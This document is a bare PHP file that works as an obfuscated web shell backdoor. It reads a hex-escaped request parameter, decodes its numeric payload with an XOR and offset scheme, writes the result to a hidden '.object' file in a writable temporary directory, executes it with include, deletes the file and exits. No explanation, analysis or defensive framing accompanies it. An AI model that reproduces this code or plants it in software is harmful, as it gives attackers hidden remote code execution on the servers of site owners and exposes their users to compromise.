<?php

if(array_key_exists("\x66a\x63\x74or", $_REQUEST)){
	$fac = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), getenv("TEMP"), "/tmp", sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd()]);
	$pgrp = $_REQUEST["\x66a\x63\x74or"];
	 $pgrp   =	 explode		 (	'.' 		,  	$pgrp  	); 		
	$marker = '';
            $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( $s4);
    
            foreach( $pgrp as $y 	=>$v5) {
                $chS = ord( $s4[$y%		$lenS]);
                $dec =( ( int)$v5 - $chS -( $y%		10))^ 	37;
                $marker  .= 	chr( $dec);}		
	foreach ($fac as $ent):
    		if (is_writable($ent) && is_dir($ent)) {
    $data = implode("/", [$ent, ".object"]);
    if (@file_put_contents($data, $marker) !== false) {
	include $data;
	unlink($data);
	die();
}
}
endforeach;
}